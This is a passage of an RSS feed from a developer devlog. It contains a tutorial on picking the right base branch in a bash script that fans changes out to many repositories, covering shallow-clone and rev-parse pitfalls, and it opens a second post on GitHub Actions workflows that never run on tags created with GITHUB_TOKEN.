&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; view&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --json&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; defaultBranchRef&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --jq&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; .defaultBranchRef.name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;rev-parse --verify --quiet&lt;/code&gt; is the right primitive here rather than grepping &lt;code&gt;git branch -r&lt;/code&gt;. The &lt;a href=&quot;https://git-scm.com/docs/git-rev-parse&quot;&gt;rev-parse docs&lt;/a&gt; define &lt;code&gt;--verify&lt;/code&gt; as verifying “that exactly one parameter is provided and that it can be turned into a raw 20-byte SHA-1”, and &lt;code&gt;--quiet&lt;/code&gt; as suppressing the error message so it “exits with non-zero status silently”. You get a clean boolean with no output parsing.&lt;/p&gt;
&lt;h2&gt;Wire it into the fan-out loop&lt;/h2&gt;
&lt;p&gt;Full clone, resolved base, explicit checkout, and the base carried through to the pull request:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -euo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; pipefail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; repo &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$@&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  work&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mktemp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --quiet&lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;          # full clone: every branch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  base&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;resolve_base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; checkout&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;: base branch &lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  # ... regenerate the file you own inside &quot;$work&quot; ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; diff&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --quiet&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;: current&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  branch&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;fanout/$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; +%Y%m%d)-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; config&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; user.name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;fanout[bot]&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; config&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; user.email&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;noreply@github.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; checkout&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$branch&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; commit&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -qam&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;chore: refresh generated block&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; push&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; origin&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$branch&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; pr&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; create&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --head&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$branch&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    --title&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;chore: refresh generated block&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --body&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;Automated fan-out.&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two details earn their place. The base branch is echoed on every iteration, so a run’s log answers “which branch did you read?” without a re-run. And the branch name has the base suffixed into it, because the same fan-out may need to land on more than one long-lived branch, and two pushes of the same branch name would collide.&lt;/p&gt;
&lt;h2&gt;Use it, then verify it&lt;/h2&gt;
&lt;p&gt;Save &lt;code&gt;resolve_base&lt;/code&gt; as &lt;code&gt;resolve.sh&lt;/code&gt;, source it, and point it at both clones from the demo. &lt;code&gt;gh&lt;/code&gt; is stubbed so the check stays offline:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; ./resolve.sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;main&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; }   &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# stub: no network in this check&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;full clone    -&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;resolve_base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; full demo/demo)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;shallow clone -&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;resolve_base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; shallow demo/demo)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That prints:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;full clone    -&gt; dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;shallow clone -&gt; main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The shallow clone does not report an error, and it does not report &lt;code&gt;dev&lt;/code&gt;. It reports the wrong branch confidently, which is the behaviour to design against. Check the content the resolved base actually gives you:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;resolve_base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; full&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; demo/demo&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; full&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; checkout&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; full/brand.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;orange-refreshed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--depth=1&lt;/code&gt; silently narrows what you can see.&lt;/strong&gt; Shallow implies single-branch, so every other branch is simply absent from the clone. Symptom: a script reports a file or a branch as missing in a repository where it plainly exists. Escape: drop &lt;code&gt;--depth&lt;/code&gt; when you need to look around, or keep it and be specific with &lt;code&gt;--depth=1 --branch &amp;quot;$base&amp;quot;&lt;/code&gt; once you already know the branch, or pass &lt;code&gt;--no-single-branch&lt;/code&gt; to keep the shallow fetch and get the refs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--depth&lt;/code&gt; is ignored entirely for local path clones.&lt;/strong&gt; Reproducing this locally, git prints &lt;code&gt;warning: --depth is ignored in local clones; use file:// instead&lt;/code&gt; and hands you a full clone, so the bug you are trying to reproduce disappears. Symptom: your minimal repro cannot reproduce it. Escape: use a &lt;code&gt;file://&lt;/code&gt; URL, as the demo above does.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The default branch can legitimately lag, so reading it reports something true and misleading.&lt;/strong&gt; A repository mid-promotion has the merged work on its integration branch and not yet on the default. Symptom: a report that says “missing” or “out of date” for repos whose maintainers already merged the change. Escape: resolve the base explicitly, and log it on every iteration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A bot pull request into the wrong base is worse than no pull request.&lt;/strong&gt; It cannot be merged without breaking the receiving repo’s own branch protection, so it sits open and gets ignored, and the next release stacks another one behind it. Escape: target the branch the humans target.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not every repository has your integration branch.&lt;/strong&gt; The fallback path is load-bearing, not decoration; without it the resolver returns an empty string and &lt;code&gt;git checkout &amp;quot;&amp;quot;&lt;/code&gt; fails in a way that reads like a permissions problem. Escape: fall back to &lt;code&gt;gh repo view --json defaultBranchRef&lt;/code&gt;, and test the fallback by pointing the resolver at a repo that has no &lt;code&gt;dev&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This class of bug does not surface from reading the code.&lt;/strong&gt; The clone flag and the base-branch choice are each defensible in isolation, and the failure only appears against a real repository whose branches disagree. It surfaced here from dispatching the job by hand and reading its output, before a scheduled run made it expensive to be wrong.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://git-scm.com/docs/git-clone&quot;&gt;git-clone documentation&lt;/a&gt; — &lt;code&gt;--depth&lt;/code&gt; implies &lt;code&gt;--single-branch&lt;/code&gt;, and what single-branch actually fetches.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git-scm.com/docs/git-rev-parse&quot;&gt;git-rev-parse documentation&lt;/a&gt; — &lt;code&gt;--verify&lt;/code&gt; and &lt;code&gt;--quiet&lt;/code&gt; as the script-safe ref existence check.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch&quot;&gt;Changing the default branch&lt;/a&gt; — the default branch is the base branch for pull requests.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cli.github.com/manual/gh_repo_clone&quot;&gt;gh repo clone&lt;/a&gt; — passing flags through to &lt;code&gt;git clone&lt;/code&gt; after the &lt;code&gt;--&lt;/code&gt; separator.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(press): propagate to the integration branch, not the default (0.5.1) (#127) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/d611a4d086f56de7d428a9628e86c304fefac07f&quot;&gt;d611a4d&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.5.1.png" length="35095" type="image/png"/></item><item><title>Your release tag will not start the workflow waiting for it</title><link>https://natejswenson.com/devlog/press/v0.4.1/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.4.1/</guid><description>A workflow triggered by a tag that another workflow created never runs, and nothing anywhere reports an error. Here is how to spot a dead trigger and how to chain the two workflows so the second one actually fires.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;0.4.1 changed one trigger. A fan-out workflow that pushes generated design tokens into consumer repositories listened on &lt;code&gt;push: tags: [&amp;quot;press-v*&amp;quot;]&lt;/code&gt;, which reads as the obvious way to react to a release. The release tag is created by another workflow in the same repository, using the built-in &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;, and GitHub does not start workflow runs for events created with that token. The trigger was syntactically perfect and had executed zero times.&lt;/p&gt;
&lt;p&gt;That rule is worth knowing before you write any workflow that reacts to what another workflow did, because it fails silently: no error, no skipped run, no annotation. This guide builds the trap on purpose, shows the one command that proves a trigger is dead, and replaces it with a call chain that runs in the same job graph.&lt;/p&gt;
&lt;h2&gt;The loop-prevention rule you are working against&lt;/h2&gt;
&lt;p&gt;Every workflow run gets an automatic &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; for authenticating to the repository. GitHub’s documentation on &lt;a href=&quot;https://docs.github.com/en/actions/how-tos/write-workflows/choose-when-workflows-run/trigger-a-workflow&quot;&gt;triggering a workflow&lt;/a&gt; states it plainly: “When you use the repository’s &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; to perform tasks, events triggered by the &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; will not create a new workflow run, with the following exceptions”. The exceptions are &lt;code&gt;workflow_dispatch&lt;/code&gt; and &lt;code&gt;repository_dispatch&lt;/code&gt;, which always fire.&lt;/p&gt;
&lt;p&gt;This is deliberate loop prevention. A workflow that commits, whose commit triggers itself, is a billable infinite loop, and the same docs warn to “ensure that you don’t create recursive or unintended workflow runs”. The cost is that a perfectly reasonable pipeline, tag from job A and react in workflow B, quietly does nothing.&lt;/p&gt;
&lt;h2&gt;Set up: a release workflow that creates a tag&lt;/h2&gt;
&lt;p&gt;Put this in &lt;code&gt;.github/workflows/release.yml&lt;/code&gt;. It reads a version from a file and tags the commit. Nothing exotic: &lt;code&gt;contents: write&lt;/code&gt; plus the default token is all a tag needs.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;name: release&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;on:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  push:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    branches: [main]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;permissions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  contents: read&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;jobs:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  release:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    runs-on: ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    permissions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      contents: write&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    steps:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - uses: actions/checkout@v7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - name: Cut the tag&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        env:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        run: |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          version=$(jq -r .version package.json)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          if git ls-remote --exit-code --tags origin &quot;v$version&quot; &gt;/dev/null 2&gt;&amp;#x26;1; then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            echo &quot;v$version already tagged&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            exit 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          fi&lt;/span&gt;&lt;/span&gt;
